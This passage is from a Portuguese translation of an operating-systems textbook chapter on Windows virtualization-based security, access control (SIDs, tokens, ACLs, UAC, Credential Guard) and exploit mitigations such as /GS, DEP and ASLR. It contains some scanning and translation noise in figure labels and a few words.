muito bom devido à memória compartilhada entre o host e o convidado para fins de exibição, e uma GPU 
virtual pode até ser exposta ao convidado para que o convidado possa 
aproveite a GPU host para fins de renderização. 

Em versões posteriores do Windows 10, o MDAG foi estendido para oferecer suporte à execução 
Aplicativos do Microsoft Office também. Para outros aplicativos não suportados diretamente 
pelo MDAG, existe um recurso conhecido como Windows Sandbox. Caixa de areia do Windows 
usa a mesma tecnologia subjacente dos contêineres isolados MDAG e Hyper-V 
mas fornece ao usuário um ambiente de desktop completo. O usuário pode iniciar o Windows Sandbox para 
executar programas que hesita em executar no host. 

MDAG e Windows Sandbox aproveitam a mesma instância de sistema operacional instalada no 
host e quando o sistema operacional host é atendido, o ambiente MDAG/Sandbox também o é. 
Eles também se beneficiam das mesmas otimizações de VM apoiadas por VA listadas acima, como 
memória mapeada direta e agendador integrado reduzindo o custo de execução desses 
em relação a uma VM clássica. 

VMs apoiadas por VA também são usadas para executar determinados sistemas operacionais convidados 
além do Windows. WSL (subsistema Windows para Linux) e WSA 
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(Subsistema Windows para Android) também são desenvolvidos em VMs apoiadas por VA para 
executar sistemas operacionais Linux e Android no Windows de uma forma mais eficiente do que VMs 
normais. Embora esses sistemas operacionais (ainda) não implementem todos os recursos de 
gerenciamento de memória e de planejamento raiz que os convidados do Windows fazem, eles são 
capazes de aproveitar ao máximo as otimizações de gerenciamento de memória do lado do host, como 
compactação de memória e paginação. 


11.10.3 Segurança Baseada em Virtualização 


Abordamos como a virtualização pode ser usada para executar máquinas virtuais, contêineres e 
processos isolados de segurança. O Windows também aproveita a virtualização para melhorar sua 
própria segurança. O problema fundamental é que há muito código em execução no modo kernel, tanto 
como parte do Windows quanto de drivers de terceiros. A amplitude do Windows no mundo e a 
diversidade de hardware que ele suporta resultaram em um ecossistema muito saudável de drivers de 
modo kernel, apesar de mover muitos deles para o modo de usuário. Todo o código do modo kernel é 
executado no mesmo nível de privilégio de CPU e, portanto, qualquer vulnerabilidade de segurança 
pode permitir que um invasor interrompa o fluxo de código, modifique ou roube dados confidenciais de 
segurança no kernel. Um nível de privilégio mais alto é necessário para “policiar” o modo kernel e para 
proteger dados sensíveis à segurança. 

O Virtual Secure Mode fornece um ambiente de execução seguro, aproveitando a virtualização 
para estabelecer novos limites de confiança para o sistema operacional. Esses novos limites de 
confiança podem limitar e controlar o conjunto de recursos de memória, CPU e hardware que o software 
em modo kernel pode acessar, de modo que, mesmo que o modo kernel seja prometido por um 
invasor, todo o sistema não seja comprometido. 

O VSM fornece esses limites de confiança por meio do conceito de VTLs (Virtual Trust Levels). 
Basicamente, uma VTL é um conjunto de proteções de acesso à memória. Cada VTL pode ter um 
conjunto diferente de proteções, controladas por código executado em uma VTL superior e mais 
privilegiada. Portanto, VTLs mais altas podem policiar VTLs mais baixas configurando o acesso que 
elas têm à memória. Semanticamente, isso é semelhante à relação entre o modo de usuário e o modo 
kernel imposto pelo hardware da CPU. Por exemplo, uma VTL superior pode usar esse recurso das 
seguintes maneiras: 


1. Ele pode impedir que uma VTL inferior acesse determinadas páginas que podem conter 
dados sensíveis à segurança ou dados pertencentes à VTL superior. 


2. Ele pode impedir que uma VTL inferior grave em determinadas páginas para evitar a 
substituição de configurações, estruturas de dados ou códigos críticos. 


3. Pode impedir que uma VTL inferior execute páginas de código, a menos que sejam 
“aprovadas” pela VTL superior. 


Para cada partição, incluindo as partições raiz e convidada, o hipervisor suporta múltiplas VTLs. 
Estando na mesma partição, todas as VTLs compartilham o mesmo conjunto de processadores virtuais, 
memória e dispositivos, mas cada VTL pode ter direitos de acesso diferentes a esses recursos. As 
proteções de memória para VTLs são implementadas usando um 
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por VTL SLAT. O IOMMU é aproveitado para impor proteção de acesso à memória para dispositivos. 
Como tal, não é possível nem mesmo para o código do modo kernel contornar essas proteções. 
Semelhante à forma como as CPUs implementam diferentes níveis de privilégio, cada VTL tem seu 
próprio estado de processador virtual, isolado das VTLs inferiores. Um processador virtual pode fazer 
a transição entre VTLs (semelhante a fazer uma chamada de sistema do modo de usuário para o 
modo kernel e vice-versa). Ao entrar em uma VTL específica, o contexto do VP é atualizado com o 
estado do processador da VTL de destino e o VP fica sujeito às proteções de acesso à memória da 
VTL. VTLs mais altas também podem impedir que VTLs mais baixas acessem ou modifiquem registros 
de CPU ou portas de E/S privilegiadas, que poderiam ser usadas para desabilitar o hipervisor ou 
adulterar dispositivos seguros (como leitores de impressão digital). 

Finalmente, cada VTL possui seu próprio subsistema de interrupção, de modo que pode ativar, 
desativar e despachar interrupções sem interferência de VTLs inferiores. Embora muitas VTLs 
possam ser suportadas pelo hipervisor, focaremos na VTLO e na VTL1 neste capítulo. 


VTLO é o modo normal do VSM no qual o Windows, com seus componentes de modo de usuário 
e modo kernel, é executado. VTL1 é conhecido como o modo seguro no qual um micro-SO com foco 
na segurança, chamado Secure Kernel, é executado. A Figura 11-54 mostra essa organização. O 
Kernel Seguro fornece vários serviços de segurança para Windows, bem como IUM (Modo de 
Usuário Isolado), a capacidade de executar programas de modo de usuário VTL1 que são 
completamente protegidos de VTLO. O Windows inclui processos IUM, chamados trustlets, que 
gerenciam com segurança credenciais de usuário, chaves de criptografia, bem como informações 
biométricas para impressão digital ou autenticação facial. O conjunto geral desses mecanismos de 
segurança é denominado VBS. 

Na próxima seção, abordaremos os fundamentos da segurança do Windows e, em seguida, nos 
aprofundaremos nos vários serviços de segurança fornecidos pela VBS. 


11.11 SEGURANÇA NO WINDOWS 


O NT foi originalmente projetado para atender aos requisitos de segurança C2 do Departamento 
de Defesa dos EUA (DoD 5200.28-STD), o Orange Book, que os sistemas seguros do DoD devem 
atender. Este padrão exige que os sistemas operacionais tenham certas propriedades para serem 
classificados como seguros o suficiente para certos tipos de trabalho militar. 

Embora o Windows não tenha sido projetado especificamente para conformidade com C2, ele herda 
muitas propriedades de segurança do design de segurança original do NT, incluindo estas: 


1. Login seguro com medidas anti-spoofing. 

2. Controles de acesso discricionários. 

3. Controles de acesso privilegiados. 

4. Proteção do espaço de endereço por processo. 

5. Novas páginas devem ser zeradas antes de serem mapeadas. 


6. Auditoria de segurança. 
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Modo Normal (VTLO) Modo Seguro (VTL1) 


Modo normal 7 
Confianças 
Processos 


Do utilizador 


Núcleo 
ATOS Motoristas Kernel Seguro 
Kernel Normal 


VTLO SLAT Hipervisor VTL1 SLAT 


Figura 11-54. Arquitetura Virtual Secure Mode com kernel NT em VTLO e Se cure Kernel em VTL1. 
As VTLs compartilham memória, CPUs e dispositivos, mas cada VTL possui 
suas próprias proteções de acesso para esses recursos, controladas por VTLs superiores. 


Vamos revisar esses itens brevemente. Login seguro significa que o administrador do sistema 
pode exigir que todos os usuários tenham uma senha para fazer login. 
um usuário mal-intencionado escreve um programa que exibe o prompt ou tela de login e depois 
se afasta do computador na esperança de que um usuário inocente se sente e 
digite um nome e uma senha. O nome e a senha são então gravados no disco e 
o usuário é informado de que o login falhou. O Windows evita esse ataque instruindo 
usuários pressionem CTRL-ALT-DEL para fazer login. Esta sequência de teclas é sempre capturada por 
o driver do teclado, que então invoca um programa de sistema que exibe o original 
tela de login. Este procedimento funciona porque não há como os processos do usuário 
desative o processamento CTRL-ALT-DEL no driver do teclado. Mas o NT pode e faz 
desabilitar o uso da sequência de atenção segura CTRL-ALT-DEL em alguns casos, principalmente 
para consumidores e em sistemas que tenham acessibilidade para deficientes 
habilitado, em telefones, tablets e Xbox, onde quase nunca há um físico 
teclado com um usuário digitando comandos. 
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No Windows 10 e em versões mais recentes, os esquemas de autenticação sem senha são 
preferido às senhas, que são difíceis de lembrar ou fáceis de adivinhar. 
Windows Hello é o nome abrangente para o conjunto de autenticação sem senha 
tecnologias que os usuários podem usar para fazer login no Windows. Hello oferece suporte baseado em biometria 
reconhecimento de rosto, íris e impressão digital, bem como PIN por dispositivo. O caminho de dados de 
o hardware da câmera infravermelha para o trustlet VTL1 que implementa o reconhecimento facial 
é protegido contra acesso VTLO por meio de memória de segurança baseada em virtualização e 
Proteções da IOMMU. Os dados biométricos são criptografados pelo trustlet e armazenados em disco. 
Os controles de acesso discricionários permitem que o proprietário de um arquivo ou outro objeto diga 
quem pode usá-lo e de que maneira. Os controles de acesso privilegiado permitem que o administrador do 
sistema (superusuário) os substitua quando necessário. Proteção de espaço de endereço 
significa simplesmente que cada processo tem seu próprio espaço de endereço virtual protegido, não 
acessível por qualquer processo não autorizado. O próximo item significa que quando o heap do processo cresce, 
as páginas mapeadas são inicializadas em zero para que os processos não possam 
encontre qualquer informação antiga colocada lá pelo proprietário anterior (daí a página zerada 
lista na Figura 11-37, que fornece um suprimento de páginas zeradas para esse propósito). Finalmente, a auditoria 


de segurança permite ao administrador produzir um registro de certos eventos relacionados à segurança. 


Embora o Orange Book não especifique o que acontecerá quando alguém 
rouba seu notebook, em grandes organizações um roubo por semana não é 
incomum. Consequentemente, o Windows fornece ferramentas que um usuário consciente pode usar 
para minimizar os danos quando um notebook é roubado ou perdido (por exemplo, login seguro, 
arquivos criptografados, etc.). Além disso, as organizações podem usar um mecanismo chamado Group 
Política para reduzir essa configuração segura da máquina para todos os seus usuários antes 
eles podem obter acesso aos recursos da rede corporativa. 
Na próxima seção, descreveremos os conceitos básicos por trás da segurança do Windows. Depois disso, 
veremos as chamadas do sistema de segurança. Por fim, concluiremos 


vendo como a segurança é implementada e aprendendo sobre as defesas do Windows contra 
ameaças on-line. 


11.11.1 Conceitos Fundamentais 


Cada usuário (e grupo) do Windows é identificado por um SID ( ID de segurança). SIDs 
são números binários com um cabeçalho curto seguido por um componente aleatório longo. 
Cada SID pretende ser único em todo o mundo. Quando um usuário inicia um processo, o 
processo e seus threads são executados no SID do usuário. A maior parte do sistema de segurança é 
projetado para garantir que cada objeto possa ser acessado apenas por threads com SIDs autorizados. 


Cada processo possui um token de acesso que especifica um SID e outras propriedades. 
O token normalmente é criado pelo winlogon, conforme descrito abaixo. O formato do 
token é mostrado na Figura 11.55. Os processos podem chamar GetTokenlnformation para adquirir 
Essa informação. O cabeçalho contém algumas informações administrativas. O campo de tempo de expiração 


poderia informar quando o token deixa de ser válido, mas atualmente não é válido. 
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usado. O campo Grupos especifica os grupos aos quais o processo pertence. A DACL (ACL 
discricionária) padrão é a lista de controle de acesso atribuída aos objetos criados pelo processo 
se nenhuma outra ACL for especificada. O SID do usuário informa quem é o proprietário do 
processo. Os SIDs restritos permitem que processos não confiáveis participem de trabalhos com 
processos confiáveis, mas com menos poder de causar danos. 


Expiration Default | User | Group | Restricted | p; Impersonation | Integrity 


Figura 11-55. Estrutura de um token de acesso. 


Finalmente, os privilégios listados, se houver, conferem ao processo poderes especiais 
negados aos usuários comuns, como o direito de desligar a máquina ou acessar arquivos aos 
quais o acesso seria negado de outra forma. Com efeito, os privilégios dividem o poder do 
superusuário em vários direitos que podem ser atribuídos aos processos individualmente. Dessa 
forma, um usuário pode receber algum poder de superusuário, mas não todo. Em resumo, o 
token de acesso informa quem é o proprietário do processo e quais padrões e poderes estão 
associados a ele. 

Quando um usuário faz login, o winlogon fornece ao processo inicial um token de acesso. 
Os processos subsequentes normalmente herdam esse token no futuro. O token de acesso de 
um processo aplica-se inicialmente a todos os threads do processo. No entanto, um thread pode 
adquirir um token de acesso diferente durante a execução, caso em que o token de acesso do 
thread substitui o token de acesso do processo. Em particular, um thread de cliente pode passar 
seus direitos de acesso a um thread de servidor para permitir que o servidor acesse os arquivos 
protegidos e outros objetos do cliente. Esse mecanismo é chamado de personificação. Ele é 
implementado pelas camadas de transporte (isto é, ALPC, pipes nomeados e TCP/IP) e usado 
pelo RPC para comunicação entre clientes e servidores. Os transportes usam interfaces internas 
no componente monitor de referência de segurança do kernel para extrair o contexto de 
segurança para o token de acesso do thread atual e enviá-lo para o lado do servidor, onde é 
usado para construir um token que pode ser usado pelo servidor para representar o cliente . 

Outro conceito básico é o descritor de segurança. Cada objeto possui um descritor de 
segurança associado que informa quem pode realizar quais operações nele. Os descritores de 
segurança são especificados quando os objetos são criados. O sistema de arquivos NTFS e o 
registro mantêm uma forma persistente de descritor de segurança, que é usado para criar o 
descritor de segurança para objetos Arquivo e Chave (os objetos gerenciadores de objetos que 
representam instâncias abertas de arquivos e chaves). 

Um descritor de segurança consiste em um cabeçalho seguido por uma DACL com uma ou 
mais ACESs (Entradas de Controle de Acesso). Os dois principais tipos de elementos são 
Permitir e Negar. Um elemento Allow especifica um SID e um bitmap que especifica quais 
processos de operações esse SID pode executar no objeto. Um elemento Deny funciona da 
mesma maneira, exceto que uma correspondência significa que o chamador não pode executar 
a operação. Por exemplo, Ida possui um arquivo cujo descritor de segurança especifica que 
todos têm acesso de leitura, Elvis não tem acesso. Cathy tem acesso de leitura/gravação e a própria Ida tem ace 
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acesso. Este exemplo simples é ilustrado na Figura 11.56. O SID Todos refere-se ao conjunto de todos 
os usuários, mas é substituído por quaisquer ACEs explícitas a seguir. 


Descritor 


de segurança 


Cabeçalho 


Arquivo 


Ent As 
de segurança ATT 
SID do proprietário 
SID do grupo 110000 
pact 
SACL 


111111 


Cabeçalho 
TA 


ÁS 


Figura 11-56. Um exemplo de descritor de segurança para um arquivo. 


Além da DACL, um descritor de segurança também possui uma SACL (lista de controle de acesso 
do sistema), que é como uma DACL, exceto que especifica não quem pode usar o objeto, mas quais 
operações no objeto são registradas no log de eventos de segurança de todo o sistema. . Na Figura 
11.56, todas as operações que Marilyn realizar no arquivo serão registradas. A SACL também contém o 
nível de integridade, que descreveremos em breve. 


11.11.2 Chamadas de API de segurança 


A maior parte do mecanismo de controle de acesso do Windows é baseada em descritores de segurança. O padrão usual 
é que quando um processo cria um objeto, ele fornece um descritor de segurança como um dos parâmetros para CreateProcess , 
CreateFile ou outra chamada de criação de objeto. Esse descritor de segurança torna-se então o descritor de segurança anexado 
ao objeto, como vimos na Figura 11.56. Se nenhum descritor de segurança for fornecido na chamada de criação de objeto, a 


segurança padrão no token de acesso do chamador (veja a Figura 11.55) será usada. 


Muitas das chamadas de segurança da API Win32 estão relacionadas ao gerenciamento de 
descritores de segurança, por isso nos concentraremos nelas aqui. As chamadas mais importantes estão 
listadas na Figura 11.57. Para criar um descritor de segurança, o armazenamento para ele é primeiro 
alocado e depois inicializado usando InitializeSecur ityDescr iptor. Esta chamada preenche o cabeçalho. 
Se o SID do proprietário não for conhecido, ele poderá ser pesquisado pelo nome usando LookupAccountSid. Isto 
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pode então ser inserido no descritor de segurança. O mesmo vale para o grupo 
SID, se houver. Normalmente, estes serão o SID do próprio cnamador e um dos chamados 
grupos, mas o administrador do sistema pode preencher quaisquer SIDs. 


Função API Win32 Descrição 
InitializeSecurityDescr iptor Prepare um novo descritor de segurança para uso 
LookupAccountSid Procure o SID de um determinado nome de usuário 


SetSecur ityDescr iptorOwner Insira o SID do proprietário no descritor de segurança 


SetSecur ityDescr iptorGroup Insira um $ID de grupo no descritor de segurança 


InicializarAcl Inicialize uma DACL ou SACL 

AddAccessAllowedAce Adicione uma nova ACE a uma DACL ou SACL permitindo acesso 
AddAccessDeniedAce Adicione uma nova ACE a uma DACL ou SACL negando acesso 
Excluir Ace Remover uma ACE de uma DACL ou SACL 

SetSecurityDescr iptorDacl Anexe uma DACL a um descritor de segurança 


Figura 11-57. As principais funções da API Win32 para segurança. 


Neste ponto, a DACL (ou SACL) do descritor de segurança pode ser inicializada com 
InicializarAcl. As entradas ACL podem ser adicionadas usando AddAccessAllowedAce e AddAc cessDeniedAce. 
Essas chamadas podem ser repetidas diversas vezes para adicionar o máximo de ACE 
entradas conforme necessário. DeleteAce pode ser usado para remover uma entrada, ou seja, quando 
modificar uma ACL existente em vez de construir uma nova ACL. Quando o 
ACL está pronta, SetSecur ityDescr iptorDacl pode ser usado para anexá-la à segurança 
descritor. Finalmente, quando o objeto é criado, o descritor de segurança recém-criado pode ser passado 
como um parâmetro para ser anexado ao objeto. 


11.11.3 Implementação de Segurança 


A segurança em um sistema Windows independente é implementada por vários 
componentes, a maioria dos quais já vimos (a rede é uma outra coisa 
história e além do escopo deste capítulo). O login é feito pelo winlogon e 
a autenticação é tratada pelo /sass. O resultado de um login bem-sucedido é uma nova GUI 
shell (explorer.exe) com seu token de acesso associado. Esse processo usa as seções SECU RITY e SAM 
no registro. O primeiro define a política geral de segurança 
e este último contém as informações de segurança para os usuários individuais, conforme discutido na 
Seção. 11.2.3. 

Depois que um usuário está logado, as operações de segurança acontecem quando um objeto é aberto 
para acesso. Cada chamada OpenXXX requer o nome do objeto que está sendo aberto e 
o conjunto de direitos necessários. Durante o processamento da abertura, a referência de segurança 
O monitor (veja a Fig. 11-11) verifica se o chamador possui todos os direitos necessários. Isto 
executa essa verificação observando o token de acesso do chamador e a DACL associada ao objeto. Desce 
a lista de ACEs na ACL em ordem. Tão logo 
ao encontrar uma entrada que corresponda ao SID do chamador ou a um dos grupos do chamador, o 
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o acesso ali encontrado é considerado definitivo. Se todos os direitos que o cnamador necessita estiverem 
disponíveis, a abertura é bem-sucedida; caso contrário, ele falhará. 
DACLs podem ter entradas Deny e Allow, como vimos. Para 
por esta razão, é comum colocar entradas negando acesso antes de entradas concedendo 
acesso na ACL, para que um usuário cujo acesso tenha sido especificamente negado não possa entrar via 
uma porta dos fundos por ser membro de um grupo que tem acesso legítimo. 
Depois que um objeto é aberto, um identificador para ele é retornado ao chamador. Nas chamadas 
subsequentes, a única verificação feita é se a operação que está sendo tentada agora 
estava no conjunto de operações solicitadas em tempo aberto, para evitar que um chamador abrisse um arquivo 
para leitura e depois tentasse escrever nele. Além disso, cnamadas em identificadores 
pode resultar em entradas nos logs de auditoria, conforme exigido pela SACL. 
O Windows adicionou outro recurso de segurança para lidar com problemas comuns de proteção do sistema 
por ACLs. Existem novos SIDs de nível de integridade obrigatórios no 
token de processo e os objetos especificam uma ACE de nível de integridade na SACL. O nível de integridade 
impede o acesso de gravação a objetos, independentemente de quais ACEs estejam na DACL. 
Existem cinco níveis principais de integridade: não confiável, baixo, médio, alto e sistema. Em 
em particular, o esquema de nível de integridade é usado para proteger contra um processo de navegador da Web 
que foi comprometido por um invasor (talvez pelo usuário de forma imprudente). 
baixando código de um site desconhecido). Além de usar severamente 
tokens restritos, os sandboxes do navegador são executados com um nível de integridade baixo ou não confiável. 
Por padrão, todos os arquivos e chaves de registro do sistema têm um nível de integridade de 
médio, portanto, navegadores executados com níveis de integridade mais baixos não poderão modificá-los. 
Embora aplicativos altamente preocupados com a segurança, como navegadores, façam uso de 
mecanismos do sistema sigam o princípio do menor privilégio, há muitos aplicativos populares que não o fazem. 
Além disso, existe o problema crônico no Windows 
onde a maioria dos usuários executa como administradores. O design do Windows não requer 
usuários sejam executados como administradores, mas muitas operações comuns são necessárias desnecessariamente 
direitos de administrador e a maioria das contas de usuário acabaram sendo criadas como administradores. Isso 
também fez com que muitos programas adquirissem o hábito de armazenar dados em 
locais de registro e sistema de arquivos aos quais somente os administradores têm acesso de gravação. 
Essa negligência em relação a muitas versões tornou praticamente impossível usar o Windows com êxito se você 
não fosse um administrador. Ser administrador o tempo todo é 
perigoso. Os erros do usuário não apenas podem danificar facilmente o sistema, mas se o usuário estiver 
de alguma forma enganado ou atacado e executa código que está tentando comprometer o sistema, 
o código terá acesso administrativo e poderá se enterrar profundamente no sistema. 
Para lidar com este problema, o Windows introduziu o UA C (User Account 
Ao controle). Com o UAC, até mesmo usuários administradores executam com direitos de usuário padrão. Se um 
for feita uma tentativa de executar uma operação que exija acesso de administrador, o sistema 
sobrepõe uma área de trabalho especial e assume o controle para que apenas a entrada do usuário possa 
autorizar o acesso (da mesma forma que CTRL-ALT-DEL funciona para segurança C2). 
Isso é chamado de elevação. Nos bastidores, o UAC cria dois tokens para o usuário 
sessão durante o logon do usuário administrador: um é um token de administrador regular e 


o outro é um token restrito para o mesmo usuário, mas com direitos de administrador 
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despojado. Os aplicativos iniciados pelo usuário recebem o token padrão, mas 
quando a elevação é necessária e aprovada, o processo muda para o real 
token de administrador. 

É claro que, sem se tornar administrador, é possível que um invasor 
destruir o que realmente importa ao usuário, ou seja, seus arquivos pessoais. Mas o UAC faz 
ajudam a frustrar os tipos de ataques existentes e é sempre mais fácil recuperar um comprometimento 
sistema se o invasor não conseguir modificar nenhum dado ou arquivo do sistema. 

Outro recurso de segurança importante do Windows é o suporte a processos protegidos. Como 
mencionamos anteriormente, os processos protegidos fornecem uma segurança mais forte 
limite de ataques no modo de usuário, inclusive de administradores. Normalmente, o 
o usuário (representado por um objeto token) define o limite de privilégio no sistema. Quando um processo 
é criado, o usuário tem acesso ao processo através de qualquer 
número de recursos do kernel para criação de processos, depuração, nomes de caminhos, threads 
injeção e assim por diante. Os processos protegidos são desligados do acesso no modo de usuário. Os 
chamadores do modo usuário não podem ler ou gravar sua memória virtual, não podem injetar código ou threads 
em seu espaço de endereço. O uso original disso era permitir que o software de gerenciamento de direitos 
digitais protegesse melhor o conteúdo. Posteriormente, os processos protegidos foram ampliados 
para fins mais fáceis de usar, como proteger o sistema contra invasores, em vez 
do que proteger o conteúdo contra ataques do proprietário do sistema. Embora os processos protegidos 
sejam capazes de impedir ataques diretos, defender um processo contra usuários administradores é muito 
difícil sem o isolamento baseado em hardware. Administradores 
pode facilmente carregar drivers no modo kernel e acessar qualquer processo VTLO. Como tal, 
os processos protegidos devem ser vistos como uma camada de defesa, mas não mais. 

Conforme mencionado acima, o processo /sass lida com a autenticação do usuário e, portanto, precisa 
manter vários segredos associados a credenciais, como senha 
hashes e tickets Kerberos em seu espaço de endereço. Como tal, funciona como um protegido 
processo para se proteger contra ataques no modo de usuário, mas código malicioso no modo kernel pode 
vazar facilmente esses segredos. Credential Guard é um recurso VBS introduzido no Windows 10 que 
protege esses segredos em um trustlet IUM chamado Lsalso.exe. Isass 
comunica-se com Lsalso para realizar autenticação de forma que segredos de credenciais 
nunca são expostos ao VTLO e mesmo o malware em modo kernel não pode roubá-los. 

Os esforços da Microsoft para melhorar a segurança do Windows têm se acelerado 
desde o início dos anos 2000, à medida que mais e mais ataques foram lançados contra sistemas 
ao redor do mundo. Os invasores variam de hackers casuais a profissionais pagos e 
Estados-nação muito sofisticados, com recursos virtualmente ilimitados, envolvidos em 
guerra cibernética. Alguns destes ataques tiveram muito sucesso, colocando países inteiros e grandes 
empresas offline e incorrendo em custos de milhares de milhões de dólares. 


11.11.4 Mitigações de segurança 


Seria ótimo para os usuários se o software (e hardware) de computador não tivesse 
quaisquer bugs, especialmente bugs que podem ser explorados por hackers para assumir o controle de seus 
computador e roubar suas informações ou usar seu computador para fins ilegais 
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como ataques distribuídos de negação de serviço, comprometimento de outros computadores e 
distribuição de spam ou outros materiais ilícitos. Infelizmente, isso ainda não é viável na prática e os 
computadores continuam a apresentar vulnerabilidades de segurança. A indústria continua a progredir 
na produção de códigos de sistemas mais seguros, com melhor treinamento para desenvolvedores, 
análises de segurança mais rigorosas e anotações de código-fonte aprimoradas (por exemplo, SAL) com 
ferramentas de análise estática associadas. Na frente de validação, fuzzers inteligentes testam 
automaticamente interfaces com entradas aleatórias para cobrir todos os caminhos de código e 
sanitizadores de endereço injetam verificações de acessos de memória inválidos para encontrar bugs. 
Cada vez mais códigos de sistemas estão migrando para linguagens como Rust, com fortes garantias 
de segurança de memória. No que diz respeito ao hardware, a pesquisa e o desenvolvimento de novos 
recursos de CPU, como CET (Control-flow Enforcement Technology) da Intel, MTE (Memory Tagging 
Extensions) da ARM e a arquitetura emergente CHERI ajudam a eliminar classes de vulnerabilidades, 
conforme descreveremos a seguir. 


Enquanto os humanos continuarem a construir software, haverá bugs, muitos dos quais levam a 
vulnerabilidades de segurança. A Microsoft tem seguido uma abordagem multifacetada com bastante 
sucesso desde o Windows Vista para mitigar essas vulnerabilidades de tal forma que são difíceis e 
dispendiosas de serem aproveitadas pelos invasores. Os componentes desta estratégia estão listados 
abaixo. 


1. Elimine classes de vulnerabilidades. 


2. Quebrar técnicas de exploração. 
3. Contenha danos e evite a persistência de explorações. 


4. Limite o tempo para explorar vulnerabilidades. 


Vamos estudar cada um desses componentes com mais detalhes. 


Eliminando Vulnerabilidades 


A maioria das vulnerabilidades de código resulta de pequenos erros de codificação que levam a 
saturação de buffer, uso de memória depois de liberada, confusão de tipos devido a conversões incorretas 
e uso de memória não inicializada. Essas vulnerabilidades permitem que um invasor interrompa o fluxo 
de código substituindo endereços de retorno, ponteiros de funções virtuais e outros dados que controlam 
a execução ou o comportamento de programas. Na verdade, os problemas de segurança da memória 
têm sido consistentemente responsáveis por cerca de 70% dos bugs exploráveis no Windows. 

Muitos desses problemas podem ser evitados se linguagens de tipo seguro, como C# e Rust, forem 
usadas em vez de C e C++. Felizmente, muitos novos desenvolvimentos estão migrando para essas 
linguagens. E mesmo com essas linguagens inseguras, muitas vulnerabilidades podem ser evitadas se 
estudantes e desenvolvedores profissionais forem melhor treinados para compreender as armadilhas 
da validação de parâmetros e dados, e os muitos perigos inerentes às APIs de alocação de memória. 
Afinal, muitos dos engenheiros de software que escrevem código na Microsoft hoje eram estudantes 
apenas alguns anos antes, assim como muitos de vocês 
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lendo este estudo de caso estão agora. Muitos livros estão disponíveis sobre os tipos de pequenos 
erros de codificação que podem ser explorados em linguagens baseadas em ponteiros e como evitá- 
los (por exemplo, Howard e LeBlank, 2009). 

Técnicas baseadas em compilador também podem tornar o código C/C++ mais seguro. O 
sistema de compilação do Windows 11 aproveita uma mitigação chamada InitAll, que inicializa com 
zero variáveis de pilha e tipos simples para eliminar vulnerabilidades devido a variáveis não inicializadas. 

Também há investimentos significativos em avanços de hardware para ajudar a eliminar 
vulnerabilidades de segurança de memória. Uma delas são as extensões de marcação de memória 
ARMv8.5. Isso associa uma etiqueta de memória de 4 bits , armazenada em outro lugar na RAM, a 
cada grânulo de memória de 16 bytes. Os ponteiros também possuem um campo de tag (em bits de 
endereço reservados) que é definido, por exemplo, por alocadores de memória. Quando a memória é 
acessada através do ponteiro, a CPU compara sua tag com a tag armazenada na memória e gera 
uma exceção se ocorrer uma incompatibilidade. Essa abordagem elimina bugs como buffer overruns 
porque a memória além do buffer terá uma tag diferente. Atualmente, o Windows não oferece suporte 
a MTE. CHERI é uma abordagem mais abrangente que usa recursos não falsificáveis de 128 bits para 
acessar a memória, fornecendo controle de acesso muito refinado. É uma abordagem promissora 
com garantias de segurança duráveis, mas tem um custo de implementação muito mais elevado em 
comparação com extensões como o MTE porque requer portabilidade e recompilação de todo o 
software. 


Quebrando técnicas de exploração 


O cenário de segurança está em constante mudança. A ampla disponibilidade da Internet tornou 
muito mais fácil para os invasores explorarem vulnerabilidades em uma escala muito maior, causando 
danos significativos. Ao mesmo tempo, a transformação digital está a transferir cada vez mais 
processos empresariais para software, criando assim novos alvos para os atacantes. À medida que 
as defesas de software melhoram, os atacantes adaptam-se continuamente e inventam novos tipos 
de explorações. É um jogo de gato e rato, mas as explorações certamente estão cada vez mais 
difíceis de construir e implantar. 

No início dos anos 2000, a vida era muito mais fácil para os invasores. Foi possível explorar 
estouros de buffer de pilha para copiar o código para a pilha, sobrescrever o endereço de retorno da 
função para iniciar a execução do código quando a função retornar. Em vários lançamentos, diversas 
mitigações do sistema operacional eliminaram quase completamente esse vetor de ataque. 

O primeiro foi /GS (Guarded Stack), lançado no Windows XP Service Pack 2. 

/GS é uma implementação canário de pilha aleatória onde um ponto de entrada de função salva um 
valor conhecido, chamado cookie de segurança em sua pilha e verifica, antes de retornar, se o cookie 
não foi substituído. Como o cookie de segurança é gerado aleatoriamente no momento da criação do 
processo e combinado com o endereço do quadro de pilha, não é fácil adivinhar. Portanto, /GS 
fornece boa proteção contra estouros de buffer lineares, mas não detecta os estouros até o final da 
função e não detecta gravações fora de banda no endereço de retorno se o canário não estiver 
corrompido. 

Outra importante mitigação de segurança incluída no Windows XP Service Pack 2 foia DEP 
(Data Execution Prev ention). DEP aproveita o suporte do processador para o 
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Proteção No-eXecute (NX) em entradas da tabela de páginas para marcar adequadamente partes 
sem código do espaço de endereço, como pilhas de threads e dados de heap, como não executáveis. 
Como resultado, a prática de explorar estouros de buffer de pilha ou heap e copiar código para a pilha 
ou heap para execução não era mais possível. Em resposta, os invasores começaram a recorrer à 
ROP (Programação Orientada a Retorno), que envolve a substituição do endereço de retorno da 
função ou dos ponteiros de função para apontá-los para fragmentos de código executável (normalmente 
DLLs do sistema operacional) já carregados no espaço de endereço. Esses fragmentos de código que 
terminam com a instrução ' return", chamados gadgets, podem ser agrupados substituindo a pilha por 
ponteiros para os fragmentos desejados a serem executados. Acontece que existem gadgets utilizáveis 
suficientes na maioria dos espaços de endereço para construir qualquer programa; e existem 
ferramentas para encontrá-los. Além disso, em uma determinada versão, as DLLs do sistema 
operacional eram carregadas em endereços consistentes, de modo que os ataques ROP eram fáceis 
de organizar depois que os gadgets eram identificados. 

Com o Windows Vista, no entanto, os ataques ROP tornaram-se muito mais difíceis de montar 
devido ao ASLR (Address Space Layout Randomizations), um recurso em que o layout do código e 
dos dados no espaço de endereço do modo de usuário é aleatório. 

Embora o ASLR não tenha sido habilitado inicialmente para todos os binários - permitindo que 
invasores usassem binários não-ASLR para ataques ROP - o Windows 8 habilitou o ASLR para todos 
os binários. O Windows 10 também trouxe o ASLR para o modo kernel. Os endereços de todos os 
códigos de modo kernel, pools e estruturas de dados críticas, como o banco de dados PFN e tabelas 
de páginas, são todos aleatórios. Deve-se observar que o ASLR é muito mais eficaz em um espaço de 
endereço de 64 bits, pois há muito mais endereços para escolher em comparação com 32 bits, 
tornando impraticáveis ataques como heap spraying para substituir ponteiros de função virtuais. 


Com essas mitigações em vigor, os invasores devem encontrar e explorar uma vulnerabilidade 
arbitrária de leitura/gravação para descobrir locais de DLLs, heaps ou pilhas. Então, eles precisam 
corromper ponteiros de função ou endereços de retorno para obter controle via ROP. Mesmo que um 
